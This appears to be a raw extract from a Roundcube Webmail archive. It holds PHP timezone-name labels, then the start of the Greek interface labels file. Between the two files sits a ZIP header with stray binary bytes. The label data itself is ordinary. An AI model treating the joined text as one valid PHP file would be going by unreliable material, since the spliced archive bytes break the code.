$labels['tz:africa:juba'] = 'Juba';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Khartoum';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'America';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europe';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athens';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienna';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsaw';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�5��%program/localization/el_GR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Καλώς ήρθατε στο $product';
$labels['username'] = 'Όνομα Χρήστη';
$labels['password'] = 'Κωδικός Πρόσβασης';
$labels['server'] = 'Εξυπηρετητής';
$labels['login'] = 'Σύνδεση';
$labels['oauthlogin'] = 'Σύνδεση μέσω $provider';
$labels['menu'] = 'Μενού';
$labels['logout'] = 'Αποσύνδεση';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Ρυθμίσεις';
$labels['addressbook'] = 'Επαφές';
$labels['darkmode'] = 'Σκοτεινή λειτουργία';
$labels['lightmode'] = 'Φωτεινή λειτουργία';
$labels['inbox'] = 'Εισερχόμενα';
$labels['drafts'] = 'Πρόχειρα';
$labels['sent'] = 'Απεσταλμένα';
$labels['trash'] = 'Κάδος Απορριμάτων';
$labels['junk'] = 'Ανεπιθύμητα';
$labels['show_real_foldernames'] = 'Εμφάνιση πραγματικών ονομάτων για ειδικούς φακέλους';
$labels['subject'] = 'Θέμα';
$labels['from'] = 'Αποστολέας';
$labels['sender'] = 'Αποστολέας';
$labels['to'] = 'Παραλήπτης';
$labels['cc'] = 'Κοινοποίηση';
$labels['bcc'] = 'Κρυφή κοινοποίηση';
$labels['replyto'] = 'Απάντηση στο';
$labels['followupto'] = 'Σε συνέχεια';
$labels['date'] = 'Ημερομηνία';
$labels['size'] = 'Μέγεθος';
$labels['priority'] = 'Πρoτεραιότητα';
$labels['organization'] = 'Οργανισμός';
$labels['readstatus'] = 'Κατάσταση ανάγνωσης';
$labels['listoptions'] = 'Κατάλογος επιλογών';
$labels['listoptionstitle'] = 'Λίστα επιλογών';
$labels['mailboxlist'] = 'Φάκελοι';
$labels['messagesfromto'] = 'Μηνύματα $from από $to έως $count';
$labels['threadsfromto'] = 'Θέματα $from έως $to από $count';
$labels['messagenrof'] = 'Μήνυμα $nr από $count';
$labels['fromtoshort'] = '$from – $to από $count';
$labels['copy'] = 'Αντιγραφή';
$labels['move'] = 'Μετακίνηση';
$labels['moveto'] = 'Μετακίνηση σε...';
$labels['copyto'] = 'Αντιγραφή σε...';
$labels['download'] = 'Λήψη';
$labels['open'] = 'Ανοιγμα';
$labels['showattachment'] = 'Εμφάνιση';
$labels['showanyway'] = 'Εμφάνιση';
$labels['filename'] = 'Όνομα αρχείου';
$labels['filesize'] = 'Μέγεθος αρχείου';
$labels['addtoaddressbook'] = 'Προσθήκη στο βιβλίο διευθύνσεων';
$labels['sun'] = 'Κυρ';
$labels['mon'] = 'Δευτ';
$labels['tue'] = 'Τρι';
$labels['wed'] = 'Τετ';
$labels['thu'] = 'Πεμπ';
$labels['fri'] = 'Παρ';
$labels['sat'] = 'Σαβ';
$labels['sunday'] = 'Κυριακή';
$labels['monday'] = 'Δευτέρα';
$labels['tuesday'] = 'Τρίτη';
$labels['wednesday'] = 'Τετάρτη';
$labels['thursday'] = 'Πέμπτη';
$labels['friday'] = 'Παρασκευή';
$labels['saturday'] = 'Σάββατο';
$labels['jan'] = 'Ιαν';
$labels['feb'] = 'Φεβ';
$labels['mar'] = 'Μαρ';
$labels['apr'] = 'Απρ';
$labels['may'] = 'Μαι';
$labels['jun'] = 'Ιουν';
$labels['jul'] = 'Ιουλ';
$labels['aug'] = 'Αυγ';
$labels['sep'] = 'Σεπ';
$labels['oct'] = 'Οκτ';
$labels['nov'] = 'Νοε';
$labels['dec'] = 'Δεκ';
$labels['longjan'] = 'Ιανουάριος';
$labels['longfeb'] = 'Φεβρουάριος';
$labels['longmar'] = 'Μάρτιος';
$labels['longapr'] = 'Απρίλιος';
$labels['longmay'] = 'Μαι';
$labels['longjun'] = 'Ιούνιος';
$labels['longjul'] = 'Ιούλιος';
$labels['longaug'] = 'Αύγουστος';
$labels['longsep'] = 'Σεπτέμβριος';
$labels['longoct'] = 'Οκτώβριος';
$labels['longnov'] = 'Νοέμβριος';
$labels['longdec'] = 'Δεκέμβριος';
$labels['today'] = 'Σήμερα';
$labels['refresh'] = 'Ανανέωση';
$labels['checkmail'] = 'Έλεγχος για νέα μηνύματα';
$labels['compose'] = 'Δημιουργία μηνύματος';
$labels['writenewmessage'] = 'Δημιουργία νέου μηνύματος';
$labels['reply'] = 'Απάντηση';
$labels['replytomessage'] = 'Απάντηση στον αποστολέα';
$labels['replytoallmessage'] = 'Απάντηση στη λίστα ή στον αποστολέα και όλους τους παραλήπτες';
$labels['replyall'] = 'Απάντηση όλων';
$labels['replylist'] = 'Λίστα παραληπτών απάντησης';
$labels['forward'] = 'Προώθηση';
$labels['forwardinline'] = 'Προώθηση με ενσωμάτωση';
$labels['forwardattachment'] = 'Προώθηση σαν συνημμένο';
$labels['forwardmessage'] = 'Προώθηση μηνύματος';
$labels['bouncemsg'] = 'Επαναποστολή (απαραδότου)';
$labels['bounce'] = 'Επαναποστολή';
$labels['deletemessage'] = 'Διαγραφή μηνύματος';
$labels['movemessagetotrash'] = 'Διαγραφή μηνύματος';
$labels['printmessage'] = 'Εκτύπωση μηνύματος';
$labels['previousmessage'] = 'Εμφάνιση του προηγούμενου μηνύματος';
$labels['firstmessage'] = 'Εμφάνιση του πρώτου μηνύματος';
$labels['nextmessage'] = 'Εμφάνιση του επόμενου μηνύματος';
$labels['lastmessage'] = 'Εμφάνιση του τελευταίου μηνύματος';
$labels['backtolist'] = 'Επιστροφή στη λίστα μηνυμάτων';
$labels['viewsource'] = 'Προβολή πηγαίου κώδικα';
$labels['mark'] = 'Μαρκάρισμα';
$labels['markmessages'] = 'Μαρκάρισμα μηνυμάτων';
$labels['markread'] = 'Ως αναγνωσμένα';
$labels['markunread'] = 'Ως μη-αναγνωσμένα';
$labels['markflagged'] = 'ως με σήμανση';
$labels['markunflagged'] = 'ως Χωρίς σήμανση';
$labels['markundeleted'] = 'Ως μη διεγραμμένο';
$labels['moreactions'] = 'Περισσότερες ενέργειες...';
$labels['markallread'] = 'Σημείωση όλων ως αναγνωσμένων';
$labels['folders-cur'] = 'Μόνο αυτός ο φάκελος';
$labels['folders-sub'] = 'Αυτός ο φάκελος και όλοι οι υποφάκελοι';
$labels['folders-all'] = 'Όλοι οι φάκελοι';
$labels['more'] = 'Περισσότερα';
$labels['back'] = 'Επιστροφή';
$labels['options'] = 'Επιλογές';
$labels['composeoptions'] = 'Επιλογές σύνταξης';
$labels['optionsandattachments'] = 'Επιλογές και συνημμένα';
$labels['actions'] = 'Ενέργειες';
$labels['first'] = 'Πρώτο';
$labels['last'] = 'Τελευταίο';
$labels['previous'] = 'Προηγούμενο';
$labels['next'] = 'Επόμενο';
$labels['select'] = 'Επιλέξτε';
$labels['selection'] = 'Επιλογή';
$labels['all'] = 'Όλα';
$labels['none'] = 'Κανένα';
$labels['currpage'] = 'Τρέχουσα σελίδα';
$labels['isread'] = 'Αναγνωσμένο';
$labels['unread'] = 'Μη αναγνωσμένο';
$labels['flagged'] = 'Σημειωμένο';
$labels['unflagged'] = 'Μη σημειωμένο';
$labels['unanswered'] = 'Αναπάντητο';
$labels['withattachment'] = 'Με επισύναψη';
$labels['deleted'] = 'Διεγραμμένο';
$labels['undeleted'] = 'Μη διεγραμμένο';
$labels['replied'] = 'Απαντημένο';
$labels['forwarded'] = 'Προωθημένο';
$labels['invert'] = 'Αναστροφή';
$labels['filter'] = 'Φίλτρο';
$labels['list'] = 'Λίστα';
$labels['threads'] = 'Θέματα';
$labels['expand-all'] = 'Ανάπτυξη όλων';
$labels['expand-unread'] = 'Ανάπτυξη των μη αναγνωσμένων';
$labels['collapse-all'] = 'Σύμπτυξη όλων';
$labels['threaded'] = 'Θεματοποιημένα';
$labels['showunread'] = 'Εμφάνιση αδιάβαστων μηνυμάτων';
$labels['autoexpand_threads'] = 'Ανάπτυξη θεματοποιημένων μηνυμάτων';
$labels['do_expand'] = 'όλα τα θέματα';
$labels['expand_only_unread'] = 'μόνο με τα μη αναγνωσμένα μηνύματα';
$labels['fromto'] = 'Από/Προς';
$labels['flag'] = 'Επισήμανση';
$labels['attachment'] = 'Συνημμένο αρχείο';
$labels['nonesort'] = 'Κανένα';
$labels['sentdate'] = 'Ημερ. Αποστολής';
$labels['arrival'] = 'Ημερ. Λήψης';
$labels['asc'] = 'αύξουσα';
$labels['desc'] = 'φθίνουσα';
$labels['listcolumns'] = 'Στήλες';
